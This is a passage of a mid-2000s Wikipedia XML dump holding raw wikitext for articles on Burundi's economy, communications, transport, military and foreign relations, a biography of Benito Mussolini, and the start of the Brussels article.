To protest the 1996 coup by President [[Pierre Buyoya]], neighbouring countries imposed an economic embargo on Burundi. Although the embargo was never officially ratified by the [[United Nations Security Council]], most countries refrained from official trade with Burundi. Following the 1996 coup, the [[United States]] suspended all but humanitarian aid to Burundi. The regional embargo was lifted on January 23, 1999, based on progress by the government in advancing national reconciliation through the Burundi peace process.

==References==
*[http://www.cia.gov/cia/publications/factbook/geos/by.html CIA World Fact book]

:''See also :'' [[Burundi]]
[[Category:Burundi]]
[[Category:Economies by country|Burundi]]
[[Category:African Union member economies|Burundi]]
[[es:Economía de Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Burundi</title>
    <id>3699</id>
    <revision>
      <id>29727160</id>
      <timestamp>2005-11-30T20:41:34Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>disambiguation link repair [[broadcast]] ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
17,000 (1995)

'''Telephones - mobile cellular:'''
343 (1995)

'''Telephone system:'''
primitive system
&lt;br&gt;''domestic:''
sparse system of open wire, radiotelephone communications, and low-capacity microwave radio relay
&lt;br&gt;''international:''
[[satellite]] earth station - 1 [[Intelsat]] ([[Indian Ocean]])

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
[[Amplitude modulation|AM]] 2, [[FM]] 2, shortwave 0 (1998)

'''Radios:'''
440,000 (1997)

'''[[Television]] broadcast stations:'''
1 (1999)

'''Televisions:'''
25,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
NA

'''[[Country codes]]:''' BI

:''See also :'' [[Burundi]]

[[Category:Burundi]]
[[Category:Communications by country|Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Burundi</title>
    <id>3700</id>
    <revision>
      <id>37513963</id>
      <timestamp>2006-01-31T13:49:27Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Burundi]] to [[Transport in Burundi]]: part of a series</comment>
      <text xml:space="preserve">{{CIA}}

'''Transportation in Burundi'''

== Railways ==
0 km

=== Railway links to adjacent countries ===

* [[Transportation in Rwanda|Rwanda]] - no
* [[Transportation in Tanzania|Tanzania]] - no
* [[Transportation in the Democratic Republic of the Congo|DR Congo]] - no


== Highways == 
&lt;br&gt;''total:''
14,480 km
&lt;br&gt;''paved:''
1,028 km
&lt;br&gt;''unpaved:''
13,452 km (1996 est.)

== Waterways ==
Lake Tanganyika

== Ports and harbors ==
Bujumbura

== Airports ==
4 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
1
&lt;br&gt;''over 3,047 m:''
1 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
3
&lt;br&gt;''914 to 1,523 m:''
2
&lt;br&gt;''under 914 m:''
1 (1999 est.)

== See also ==

* [[Burundi]]


{{CIAfb}}

{{Africa in topic|Transport in}}


[[Category:Burundi]]
[[Category:Transportation by country|Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Burundi</title>
    <id>3701</id>
    <revision>
      <id>15902016</id>
      <timestamp>2004-09-20T01:35:18Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <minor />
      <comment>categorisation</comment>
      <text xml:space="preserve">'''Military of Burundi'''

'''Military branches:'''
Army (includes naval and air units), paramilitary Gendarmerie

'''Military manpower - military age:'''
16 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
1,344,177 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
701,367 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
76,866 (2000 est.)

'''Military expenditures - dollar figure:'''
$25 million (FY93)

'''Military expenditures - percent of GDP:'''
2.6% (FY93)

==References and Links==
*[[Burundi]]
[[Category:Burundi]]
[[Category:Militaries|Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Burundi</title>
    <id>3702</id>
    <revision>
      <id>37154263</id>
      <timestamp>2006-01-29T01:59:00Z</timestamp>
      <contributor>
        <username>Wikiacc</username>
        <id>84893</id>
      </contributor>
      <minor />
      <comment>{{Africa in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">{{Politics of Burundi}}
[[Burundi]]'s relations with its neighbors have often been affected by security concerns. Hundreds of thousands of Burundian refugees have at various times crossed to neighboring [[Rwanda]], [[Tanzania]], and the [[Democratic Republic of the Congo]]. Hundreds of thousands of Burundians are in neighboring countries as a result of the ongoing civil war. Most of them, more than 340,000 since [[1993]], are in Tanzania. Some Burundian rebel groups have used neighboring countries as bases for insurgent activities. The 1993 embargo placed on Burundi by regional states hurt diplomatic relations with its neighbors; relations have improved since the 1999 suspension of these sanctions.

Burundi is a member of various international and regional organizations, including the [[United Nations]], the [[African Union]], and the [[African Development Bank]].

==See also==
* [[Burundi]]

{{Africa-stub}}

{{Africa in topic|Foreign relations of}}

[[Category:Burundi]]
[[Category:Foreign relations by country|Burundi, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Bosporus</title>
    <id>3705</id>
    <revision>
      <id>40998218</id>
      <timestamp>2006-02-24T10:54:31Z</timestamp>
      <contributor>
        <ip>85.96.215.120</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Bosphorus]]</text>
    </revision>
  </page>
  <page>
    <title>Benito Mussolini</title>
    <id>3706</id>
    <revision>
      <id>42074209</id>
      <timestamp>2006-03-03T17:21:01Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <comment>RV</comment>
      <text xml:space="preserve">{{redirect|Mussolini}}
{{Infobox Celebrity
| name        = Benito Amilcare Andrea Mussolini
| image       = musso.jpg
| caption     = 
| birth_date  = [[July 29]], [[1883]]
| birth_place = Predappio near [[Forlì]], [[Emilia-Romagna]], [[Italy]]
| death_date  = [[April 28]], [[1945]]
| death_place = [[Giulino di Mezzegra]], [[Italy]]
| occupation  = [[Premier]] of Italy, 1922-1943
| salary      = 
| networth    = 
| spouse      =
| website     =
| footnotes   = 
}}

'''Benito Amilcare Andrea Mussolini''' ([[July 29]], [[1883]] &amp;ndash; [[April 28]], [[1945]]) led [[Italy]] from 1922 to 1943. He created a [[Fascism|fascist]] state through the use of [[state terror]] and [[propaganda]]. Using his charisma, total control of the media and intimidation of political rivals, he disassembled the existing [[democracy|democratic]] government system. His entry into [[World War II]] on the side of [[Nazi Germany]] made Italy a target for [[Allies of World War II|Allied]] attacks and ultimately led to his downfall and death.

==Early years==
Mussolini was born in a medium-sized village named [[Predappio]] in the province of [[Forlì]], in [[Emilia-Romagna]]. His father, Alessandro, was a [[blacksmith]]. His mother, Rosa Maltoni, was a [[teacher]] who believed education was extremely important. He was named ''Benito'' after Mexican reformist President [[Benito Juárez]]. Like his father, Benito became a [[socialism|socialist]]. By age eight, he was banned from his mother's church, and a few years later he was expelled from school, due to stabbing a fellow student in the hand and throwing an ink pot at a teacher. He did, however, receive good grades, and he qualified as an elementary schoolmaster in 1901. In 1902 he emigrated to [[Switzerland]] to escape military service. During a period when he was unable to find a permanent job there, he was arrested for [[Vagrancy (people)|vagrancy]] and jailed for one night. Later, after becoming involved in the socialist movement, he was deported and returned to Italy to do his military service. He returned to Switzerland immediately, and a second attempt to deport him was halted when Swiss socialist parliamentarians held an emergency debate to discuss his treatment. After his return to Italy (prompted by his mother's illness and death) he joined the staff of a socialist newspaper, ''[[Avanti!]]'' (&quot;Forward!&quot;), in the city of [[Trento]], ethnically Italian but then under the control of the [[Austria-Hungary]], in [[1908]]. At this time he wrote a novel, subsequently translated into English as ''The Cardinal's Mistress''. Mussolini had a brother, Arnaldo, who would later become the [[editor]] of ''[[Il Popolo d'Italia]]'', the official newspaper of Benito Mussolini's Fascist Party

==Birth of Fascism==
The word &quot;[[Fascio]]&quot; had existed in Italian politics for some time.  A section of revolutionary [[syndicalism|syndicalists]] broke with the Socialists over the issue of Italy's entry into the [[World War I|First World War]]. The ambitious Mussolini quickly sided with them in 1914, when the war broke out. These syndicalists formed  a group called Fasci d'azione rivoluzionaria internazionalista in October 1914. [[Massimo Rocca]] and [[Tulio Masotti]] asked Mussolini to settle the contradiction of his support for interventionism and still being the editor of ''[[Avanti! (Italian newspaper)|Avanti!]]'' and an official party functionary in the Socialist Party. (1) Two weeks later, he joined the [[Milan]] ''fascio''.  In November, 1914, supported by his then mistress [[Margherita Sarfatti]], he founded a new newspaper, ''Il Popolo d'Italia,'' (''The Italian People'') and the pro-war group Fasci d'Azione Rivoluzionaria.   Mussolini was attracted to [[fasces]], the ancient Roman symbol of the life-and-death power of the state, bundles of the [[lictor]]s' rods of chastisement which, when bound together, were stronger than when they were apart &amp;mdash; presaging the renewed Roman ''imperium'' Mussolini promised to bring about.  Mussolini claimed that it would help strengthen a relatively new nation (which had been united only in the 1860s in the ''[[History of Italy|Risorgimento]]''), although some would say that he wished for a collapse of society that would bring him to power. Italy was a member of the [[Triple Alliance (1882)|Triple Alliance]], thereby allied with Imperial Germany and the [[Austro-Hungarian Empire]]. It did not join the war in 1914 but did in 1915 &amp;mdash; as Mussolini wished &amp;mdash; on the side of Britain and France

&lt;!-- Unsourced image removed: [[Image:mussolini.jpg|thumb|left|Benito Mussolini]] --&gt;
Called up for military service, Mussolini was wounded in grenade practice in 1917 and returned to edit his paper. Fascism became an organized [[political movement]] following a meeting in [[Milan]] on [[March 23]], [[1919]] (Mussolini founded the ''Fasci di Combattimento'' on [[February 23]], however). After failing in the 1919 elections, Mussolini at last entered parliament in 1921. The Fascisti formed armed squads of war veterans called [[Blackshirts|''squadristi'']] to terrorize [[anarchists]], socialists and [[communists]]. The government rarely interfered. In return for the support of a group of industrialists and agrarians, Mussolini gave his approval (often active) to strikebreaking, and he abandoned revolutionary agitation. When the liberal governments of Giovanni Giolitti, Ivanoe Bonomi, and Luigi Facta failed to stop the spread of anarchy, and after Fascists had organised the demonstrative and threatening ''Marcia su Roma'' (&quot;[[March on Rome]]&quot;) ([[October 28]]th 1922), Mussolini was invited by [[Vittorio Emanuele III]] to form a new government. At the age of 39, he became the youngest Premier in the history of [[Italy]] on [[October 31]].

Although a common misconception, Mussolini did not become prime minister because of the March on Rome. King, [[Victor Emmanuel III]], knew that if he did not choose a government under either the Fascist or Socialist party, Italy would soon be involved in a civil war. Accordingly, he asked Mussolini to become Prime Minister, obviating the need for the March on Rome. However, because fascists were already arriving from all around Italy, he decided to continue. In effect, the threatened seizure of power became nothing more than a victory parade.

Mussolini's Fascist state, established nearly a decade before [[Adolf Hitler]]'s rise to power, would provide a model for Hitler's later economic and political policies. Both a movement and a historical phenomenon, Italian Fascism was, in many respects, an adverse reaction to both the perceived failure of [[laissez-faire]] economics and fear of international [[Bolshevism]] (a short-lived Soviet influence was established in Bavaria just about this time), although trends in [[intellectual history]], such as the breakdown of [[positivism]] and the general fatalism of postwar Europe were also factors. Fascism was a product of a general feeling of anxiety and fear among the middle-class of postwar Italy, arising out of a convergence of interrelated economic, political, and cultural pressures. Italy had no long-term tradition of parliamentary compromise, and public discourse took on an inflammatory tone on all sides.  

Under the banner of this authoritarian and nationalist ideology, Mussolini was able to exploit fears in an era in which postwar depression, the rise of a more militant left, and a feeling of national shame and humiliation stemming from its 'mutilated victory' at the hands of the [[World War I]] peace treaties seemed to converge. Italian influence in the Aegean and abroad seemed impotent and disregarded by the greater [[power (international)|power]]s, and Italy lacked colonies.  Such unfulfilled nationalistic aspirations tainted the reputation of liberalism and constitutionalism among many sectors of the Italian population. In addition, such democratic institutions had never grown to become firmly rooted in the young nation-state. And as the same postwar depression heightened the allure of [[Marxism]] among an urban proletariat even more disenfranchised than their continental counterparts, fear regarding the growing strength of [[trade union]]ism, [[communism]], and [[socialism]] proliferated among the elite and the middle class. 

Fascism emerged as a &quot;third way&quot; &amp;mdash; as Italy's last hope to avoid imminent collapse of Italian liberalism, which was perceived as weak, or communist revolution. While failing to outline a coherent program, it evolved into new political and economic system that combined [[corporatism]], [[nationalism]], and anti-communism in a state designed to bind all classes together under a capitalist system.  It was a new capitalist system in which the state seized control of the organization of vital industries. The appeal of this movement, the promise of a more orderly capitalism during an era of interwar depression, however, was not isolated to Italy, or even the rest of Europe.

==Fascist dictatorship==
At first Mussolini was supported by the Liberals in parliament. With their help, he introduced strict censorship and altered the methods of election so that in 1925&amp;ndash;1926 he was able to assume dictatorial powers and dissolve all other political parties. 
Skillfully using his secret but absolute control over the press, he gradually built up the legend of ''[[Il Duce]]'', the title he bestowed upon himself: a man who never slept, was always right, and could solve all the problems of politics and economics. He introduced the Press Laws in 1925 which stated that all journalists must be registered Fascists. However, not all newspapers were taken into public ownership and ''[[Corriere della Sera]]'' sold on average 10 times as many copies as the leading Fascist newspaper 'Il Popolo D'Italia'. 
Nevertheless, Italy was soon a [[police state]]. The assassination of the prominent [[Socialist]] [[Giacomo Matteotti]] in 1924, began a prolonged political crisis in Italy, which did not end until the beginning of 1925 when Mussolini asserted his personal authority over both country and party to establish a personal dictatorship. Mussolini's skill in propaganda was such that he had surprisingly little opposition to suppress. Nonetheless he was &quot;slightly wounded in the nose&quot; when he was shot on [[8 April]] 1926 by [[Violet Gibson]], an [[Irish people|Irish woman]] and sister of [[Baron Ashbourne]]. He also survived a [http://www.libcom.org/history/articles/mussolini-assassination-attempt-1926/index.php failed assassination attempt in Rome] by [[anarchist]] Gino Lucetti, and a planned attempt by American anarchist [http://www.libcom.org/history/articles/murder-michael-schirru Michael Schirru] ended with his capture and execution.

At various times after 1922, Mussolini personally took over the ministries of the interior, of foreign affairs, of the colonies, of the corporations, of the army and the other armed services, and of public works. Sometimes he held as many as seven departments simultaneously, as well as the premiership. He was also head of the all-powerful Fascist party (formed in 1921) and the armed local Fascist militia, the [[Blackshirts|MVSN]], or &quot;Blackshirts&quot;, that terrorized incipient resistances in the cities and provinces. He would later form an institutionalised militia that carried official state support, the [[OVRA]]. In this way he succeeded in keeping power in his own hands and preventing the emergence of any rival. But it was at the price of creating a regime that was overcentralized, inefficient, and corrupt. 

[[Image:mussospeak.jpg|frame|right|Mussolini was a passionate public speaker]]
Most of his time was spent on propaganda, whether at home or abroad, and here his training as a journalist was invaluable. Press, radio, education, films &amp;mdash; all were carefully supervised to manufacture the illusion that fascism was ''the doctrine'' of the 20th century, replacing liberalism and democracy. The principles of this doctrine were laid down in the article on fascism, written by [[Giovanni Gentile]] and signed by Mussolini that appeared in 1932 in the ''[[Enciclopedia Italiana]]''. In 1929, a concordat with the [[Holy See|Vatican]] was signed, the [[Lateran treaties]], by which the Italian state was at last recognized by the [[Roman Catholic Church]], and the independence of [[Vatican City]] was recognized by the Italian state. 

Under the dictatorship, the effectiveness of [[parliamentary system]] was virtually abolished though its forms were publicly preserved. The law codes were rewritten. All teachers in schools and universities had to swear an oath to defend the Fascist regime. Newspaper editors were all personally chosen by Mussolini himself, and no one could practice journalism who did not possess a certificate of approval from the Fascist party. These certificates were issued in secret, so the public had no idea of this ever occurring, thus skillfully creating the illusion of a &quot;free press&quot;. The trade unions were also deprived of any independence and were integrated into what was called the [[corporate state|&quot;cooperative&quot; system]]. The aim (never completely achieved), inspired by medieval guilds, was to place all Italians in various professional organizations or &quot;corporations&quot;, all of them under clandestine governmental control. Another change is that all schools, newspapers etc. etc. had to not write the 13th of June 1933 but instead had to write the 13th of June of the 11th year of Mussolini's power.

Mussolini played up to his financial backers at first by transferring a number of industries from public to private ownership. But by the 1930s he had begun moving back to the opposite extreme of rigid governmental control of industry. A great deal of money was spent on highly visible public works, and on international prestige projects such as the ''[[SS Rex]]'', [[Blue Riband]] ocean liner [http://www.greatoceanliners.net/rex.html], but the economy suffered from his strenuous efforts to make Italy [[autarchy|self-sufficient]]. A concentration on heavy industry proved problematic, because Italy lacked the basic resources.

In foreign policy, Mussolini soon shifted from the pacifist anti-imperialism of his lead-up to power, to an extreme form of aggressive [[nationalism]]. An early example of this was his bombardment of [[Corfu]] in 1923. Soon after this he succeeded in setting up a puppet regime in [[Albania]] and in ruthlessly consolidating Italian power in [[Libya]], loosely a colony since 1912. It was his dream to make the [[Mediterranean Sea|Mediterranean]] ''mare nostrum'' (&quot;our sea&quot; in Latin), and established a large naval base on the Greek Island of [[Leros]] to enforce a strategic hold on the Eastern Mediterranean. In 1935, at the [[Stresa Conference]], he helped create an anti-[[Hitler]] front in order to defend the independence of [[Austria]]. But his successful war against Abyssinia ([[Ethiopia]]) in 1935&amp;ndash;1936 was opposed by the [[League of Nations]], this eventually led to Hitler seeking an alliance with fascist Italy. His active intervention in 1936-1939 on the side of [[Francisco Franco|Franco]] in the [[Spanish Civil War]] ended any possibility of reconciliation with [[France]] and [[United Kingdom|Britain]]. As a result, he had to accept the German annexation of Austria in 1938 and the dismemberment of [[Czechoslovakia]] in 1939. At the [[Munich Conference]] in September 1938 he posed as a moderate working for European peace. But his &quot;axis' with Germany was confirmed when he made the &quot;[[Pact of Steel]]&quot; with Hitler in May 1939. Clearly the subordinate partner, Mussolini followed the [[Nazi]]s in adopting a racial policy that led to persecution of the Jews and the creation of apartheid in the Italian empire. Before this, Jews were not specifically persecuted by Mussolini's government, and were permitted to be high members of the Party.  Members of [[TIGR]], a Slovene anti-fascist group, plotted to kill Mussolini in [[Kobarid]] in 1938, but were unsuccessful.

==The Axis of Blood and Steel==
The term &quot;[[Axis Powers]]&quot; was coined by Mussolini, in November 1936, when he spoke of a Rome-Berlin axis in reference to the treaty of friendship signed between Italy and Germany on [[October 25]], 1936. Later, in May 1939, Mussolini would describe the relationship with Germany as a &quot;Pact of Steel&quot;, something he had earlier referred to as a &quot;Pact of Blood&quot;. 

==World War II==
[[Image:Hitlermusso.jpg|frame|left|Benito Mussolini and [[Adolf Hitler]]]]
As [[World War II]] (WWII) approached, Mussolini announced his intention of annexing [[Malta]], [[Corsica]], and [[Tunis]]. He spoke of creating a &quot;[[New Roman Empire]]&quot; that would stretch east to [[Palestine (region)|Palestine]] and south through [[Libya]] and [[Egypt]] to [[Kenya]]. In April 1939, after a brief war, he annexed [[Albania]], a campaign which strained his military.  His armed forces are generally considered to have been unprepared for combat when Hitler's invasion of [[Poland]] led to World War II. Mussolini thus decided to remain 'non-belligerent' until he was quite certain which side would win. 

On [[June 10]], [[1940]] Mussolini finally declared war on Britain and France. In October, Mussolini attacked [[Greece]] and, as a  result, lost 1/3 of Albania, until Hitler was forced to assist him by attacking Greece as well. In June 1941, Mussolini declared war on the [[Soviet Union]] and in December also declared war on the [[United States]]. 

Following Italian defeats on all fronts and the [[Allied invasion of Sicily|Anglo-American landing in Sicily]] in 1943, most of Mussolini's colleagues (including Count [[Galeazzo Ciano]], the foreign minister and Mussolini's son-in-law) turned against him at a meeting of the [[Grand Council of Fascism|Fascist Grand Council]] on [[July 25]], [[1943]]. King [[Vittorio Emanuele III]] called Mussolini to his palace and stripped the dictator of his power. Upon leaving the palace, Mussolini was swiftly arrested. He was then sent to [[Gran Sasso]], a mountain resort in central Italy ([[Abruzzo]]), in complete isolation.

Mussolini was replaced by the [[Maresciallo d'Italia]], General [[Pietro Badoglio]], who immediately declared in a famous speech &quot;''La guerra continua a fianco dell'alleato germanico''&quot; (&quot;The war continues at the side of our Germanic allies&quot;), but was instead working to negotiate a surrender; 45 days later ([[September 8|September the 8th]]) Badoglio would sign an armistice with Allied troops. Badoglio and the King, fearing the German retaliation, fled from Rome, leaving the entire Italian Army without orders. Many units simply disbanded, some reached the Allied-controlled zone and surrendered, a few decided to start a partisan war against the Nazis, and a few rejected the switch of sides and remained allied with the Germans.

Rescued a few days later in a [[Unternehmen Eiche|spectacular raid]] planned by Nazi General [[Kurt Student]] and carried out by [[Otto Skorzeny]], Mussolini set up the [[Italian Social Republic]], a Republican Fascist state (RSI, ''Repubblica Sociale Italiana'') in northern Italy. He lived in Gargnano during this period, but was little more than a [[puppet government|puppet]] under the protection of his liberators. In this &quot;[[Republic of Salò]]&quot;, Mussolini returned to his earlier ideas of socialism and collectivization. He also executed some of the Fascist leaders who had abandoned him, including his son-in-law, [[Galeazzo Ciano]]. During this period he wrote his [[memoir]]s entitled ''My Rise and Fall.''

==Death==
[[Image:Mussolini hanged by the feet.jpg|thumb|Photo showing Mussolini hanging by his feet after his execution.]]

On [[April 27]], [[1945]], in the afternoon, near the village of [[Dongo]] ([[Lake of Como]]), just before the Allied armies reached [[Milan]], as they headed for [[Chiavenna]] to board a plane to escape to Switzerland, Mussolini and his mistress [[Claretta Petacci]] were caught by [[Italian resistance movement|Italian communist partisans]].

The day after, [[April 28]], they were both executed along with their sixteen-man train, mostly ministers and officials of the Italian Social Republic. The execution took place in the village of [[Giulino di Mezzegra]], and was conducted by &quot;Colonnello Valerio&quot; ([[Walter Audisio]]), the partisan commander entrusted by the CLN (National Liberation Committee) with the execution of the [[death penalty|death sentence]] issued against Mussolini. According to Audisio, the execution of Petacci was incidental and unplanned. Despite having no orders to kill her &quot;she simply wouldn't let go of Il Duce&quot;.{{citationneeded}}

The next day the bodies of Mussolini and his mistress were hung upside down in Piazzale Loreto (Milan), along with those of other fascists, to show the population that the dictator was dead. This was both to discourage any fascists to continue the fight and an act of revenge for the hanging of many partisans in the same place by Axis authorities.

Mussolini's body was then buried in an unmarked grave in a Milan [[cemetery]] until the 1950s, when his body was moved back to Predappio. It was actually stolen briefly in the late '50s by [[neo-fascist]]s, then again returned to Predappio. Here he was buried in a [[crypt]] (the only posthumous honor granted to Mussolini; his tomb is flanked by [[marble]] [[fasces]] and a large idealized marble [[bust]] of himself sits above the [[tomb]].)

[[Image:Mussolini wine.jpg|thumb|[[Wine]] with portraits of Mussolini in a present-day Italian shop]]

Mussolini was survived by his wife, [[Donna Rachele Mussolini]], by two sons, Vittorio and [[Romano Mussolini]], and his daughters Edda, the widow of [[Galeazzo Ciano|Count Ciano]] and Anna Maria. A third son, Bruno, had been killed in an air accident while testing a military plane. Mussolini's granddaughter [[Alessandra Mussolini|Alessandra]], daughter of [[Romano Mussolini]], is currently a member of the [[European Parliament]] for the [[Neo-fascism|neo-fascist]] alliance [[Alternativa Sociale]].

==References==
* ''The Birth of Fascist Ideology, From Cultural Rebellion to Political Revolution'', [[Zeev Sternhell]], with Mario Sznajder and Maia Asheri, trans. by David Maisel, Princeton University Press, NJ, 1994. pg 214.
* &lt;I&gt;Mussolini&lt;/I&gt;, [[Renzo De Felice]], Torino : Einaudi, 1995.
* &lt;I&gt;Mussolini: A New Life&lt;/I&gt;, Nicholas Farrell, London: Phoenix Press, 2003.
* &lt;I&gt;Mussolini: The Last 600 Days of &lt;B&gt;Il Duce&lt;/B&gt;,&lt;/I&gt; Ray Moseley, Dallas: Taylor Trade Publishing, 2004. 

==Writings of Mussolini==
*''Giovanni Hus ([[Jan Hus]]), il verdico'' Rome (1913) Published in America under ''John Hus'' (New York: Albert and Charles Boni, l929) Republished by the Italian Book Co., NY (1939) under ''John Hus, the Veracious''.
*''The Cardinal's Mistress'' (trans. Hiram Motherwell, New York: Albert and Charles Boni, 1928)
*There is an essay on &quot;The Doctrine of Fascism&quot; credited to Benito Mussolini that appeared in the 1932 edition of the [[Enciclopedia Italiana]], and excerpts can be read at [[Doctrine of Fascism]]. There are also links to the complete text.
* ''La Mia Vita'' (&quot;My Life&quot;), Mussolini's autobiography written upon request of the American Ambassador in Rome (Child). Mussolini, at first not interested, decided to dictate the story of his life to Armando Mussolini, his brother. The story covers the period up to 1929, includes Mussolini's personal thoughts on Italian Politics and the reasons that motivated his new revolutionary idea. It covers the march on Rome and the beginning of the dictatorship and includes some of his most famous speeches in the Italian Parliament (Oct 1924, Jan 1925).

==See also==
* [[Military history of Italy during World War II]]
* [[Revolutionary minded Italians of the inter-war period]]
* [[The Italian Economy under Fascism, 1922-1939]]

== External links ==
{{wikiquote}}
{{Commons|Benito Mussolini}}
* [http://home.comcast.net/~lowe9101/mussolini/ Mussolini In Pictures]
* [http://www.comandosupremo.com/Mussolini.html Comando Supremo: Benito Mussolini]
* [http://www.snopes.com/history/govern/trains.htm Did Mussolini really make the trains run on time?]
* [http://www.phpsolvent.com/images/mussolini.jpg Photograph of Mussolini's corpse and article about the theft of his body]
* [http://www.publiceye.org/fascist/corporatism.html Is Mussolini quote on corporatism accurate?]
*[http://books.google.com/books?q=mussolini+%22my+autobiography%22&amp; 2 Mussolini autobiographies in one book. English. Searchable.] Click on the result titled &quot;My Rise and Fall&quot; (usually the top result). Then use the search form in the left column titled &quot;search within this book.&quot;
*[http://www.questia.com/PM.qst?a=o&amp;d=99690246 The 1928 autobiography of Benito Mussolini. Online.] ''My Autobiography''. Book by Benito Mussolini; Charles Scribner's Sons, 1928.
*[http://www.libcom.org/history/articles/murder-michael-schirru Michael Schirru's failed attempt on Mussolini's life]
*[http://www.libcom.org/history/articles/mussolini-assassination-attempt-1926/index.php 1926: The attempted assassination of Mussolini in Rome] by [http://www.libcom.org/history/articles/1900-1943-gino-lucetti/index.php Gino Lucetti]

{{start box}}
{{succession box|title=[[Prime Minister of Italy]]|before=[[Luigi Facta]]|after=[[Pietro Badoglio]]|years=1922–1943}}
{{succession box|title=[[Italian Minister of Foreign Affairs]]|before=[[Carlo Schanzer]]|after=[[Dino Grandi]]|years=1922–1929}}
{{succession box|title=[[Italian Minister of the Interior]]|before=[[Paolino Taddei]]|after=[[Luigi Federzoni]]|years=1922–1924}}
{{succession box|title=[[Italian Minister of the Interior]]|before=[[Luigi Federzoni]]|after=[[Bruno Fornaciari]]|years=1926–1943}}
{{succession box|title=[[Italian Minister of Foreign Affairs]]|before=[[Dino Grandi]]|after=[[Galeazzo Ciano]]|years=1932–1936}}
{{succession box|title=[[Italian Minister of Foreign Affairs]]|before=[[Galeazzo Ciano]]|after=[[Raffaele Guariglia]]|years=1943}}
{{succession box|title=[[Head of State]] of the [[Italian Social Republic]]|before=—|after=—|years=1943–1945}}
{{succession box|title=[[Minister of Foreign Affairs]] of the [[Italian Social Republic]]|before=—|after=—|years=1943–1945}}
{{succession box|title=Head of the [[Fascist Grand Council]]|before=—|after=[[Pietro Badoglio]]|years=1928–1944}}
{{end box}}

[[Category:1883 births|Mussolini, Benito]]
[[Category:1945 deaths|Mussolini, Benito]]
[[Category:Anti-communism|Mussolini, Benito]]
[[Category:Emergency laws|Mussolini, Benito]]
[[Category:Field Marshals|Mussolini, Benito]]
[[Category:Firearm deaths|Mussolini, Benito]]
[[Category:Italian Ministers of the Interior|Mussolini, Benito]]
[[Category:Italian fascists|Mussolini, Benito]]
[[Category:Italian World War II people|Mussolini, Benito]]
[[Category:Murdered politicians|Mussolini, Benito]]
[[Category:Natives of Emilia-Romagna|Mussolini, Benito]]
[[Category:Prime Ministers of Italy|Mussolini, Benito]]
[[Category:Roman Catholic politicians|Mussolini, Benito]]
[[Category:World War II political leaders|Mussolini, Benito]]

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      <text xml:space="preserve">:{{otheruses|Brussels}}

[[Image:BelgiumBrussels.png|thumb|right|150px|]]
[[Image:Belgium brussels iris.png|thumb|right|150px|Emblem of the Brussels-Capital Region]]
[[Image:Flag_-_city_of_brussels_(municipality).png|thumb|150px|Flag of The City of Brussels]]
'''Brussels''' ([[French language|French]]: ''Bruxelles'', [[International Phonetic Alphabet|pronounced]] {{IPA|/bʁysɛl/}} in [[Belgian French]] and {{IPA|/bʁyksɛl/}} in International French;  [[Dutch language|Dutch]]: ''Brussel''; [[German language|German]]: ''Brüssel'') is the capital of [[Belgium]], the [[French community of Belgium]], the [[Flemish community]] and one of the three capitals of the [[European Union]]. 

Brussels is, first of all, a city located in the center of Belgium and is its capital, but it sometimes also refers to the largest municipality of the [[Brussels-Capital Region]]. This municipality inside Brussels is correctly named [[The City of Brussels]] (French: ''Bruxelles-Ville'' or ''Ville de Bruxelles'', Dutch: ''Stad Brussel''), which is one of 19 [[municipality|municipalities]] that make up the Brussels-Capital Region (''see also'': [[Municipalities of the Brussels-Capital Region]]). The municipality has a population of about 140,000 while the Brussels-Capital Region has more than a million inhabitants. {{coor dms|50|50|37|N|4|21|27|E|}}. [http://earth-info.nga.mil/gns/html/cntry_files.html]

The Brussels-Capital Region is a region of Belgium in its own right, alongside [[Wallonia]] and the [[Flemish Region]]. Geographically, it is an [[enclave]] in the Flemish Region. Regions are one component of Belgium's complex institutions, the three communities being &quot;the&quot; other component: the Brussels inhabitants must deal with either the [[French community of Belgium|French (speaking) community]] or the [[Flemish Community]] for matters such as culture and education.

Brussels is also the capital of both the [[French Community of Belgium]] (''Communauté française Wallonie-Bruxelles'' in French) and of [[Flanders]] (''Vlaanderen''); all Flemish capital institutions are established here: [[Flemish Parliament]], [[Flemish government]] and its administration.

Two of the three main institutions of the [[European Union]] - the [[European Commission]] and the [[Council of the European Union]] - have their headquarters in Brussels: the Commission in the [[Berlaymont building]] and the Council in the [[Justus Lipsius building]] facing it. The third main institution of the European Union, the [[European Parliament]], also has a parliamentary chamber in Brussels in which its committee meet and some of its plenary sessions are held (the other plenary sessions are held in [[Strasbourg]], and its administrative headquarters are in [[Luxembourg]]).

Brussels is also the political seat of [[NATO]], the North Atlantic Treaty Organisation, the [[Western European Union]] (WEU) and [[EUROCONTROL]], the European Organisation for the Safety of Air Navigation

Due to this, some countries have three ambassadors present in Brussels: the normal bi-lateral ambassador, the EU-ambassador, and finally the NATO-ambassador.

The &quot;language frontier&quot; (''taalgrens'') divides Belgium into a northern, [[Dutch language|Dutch]]-speaking region, and a southern, [[French language|French]]-speaking region. Although the real language frontier and the official one are largely identical, there are bilingual pockets on both sides with, in certain cases, no specific linguistic rights for the population speaking the other language. The Brussels-Capital Region is officially [[bilingual]], while the majority of its residents speak French (see the linguistic history of Brussels in this article: [[Brussels#Linguistic situation|linguistic situation section]]). 

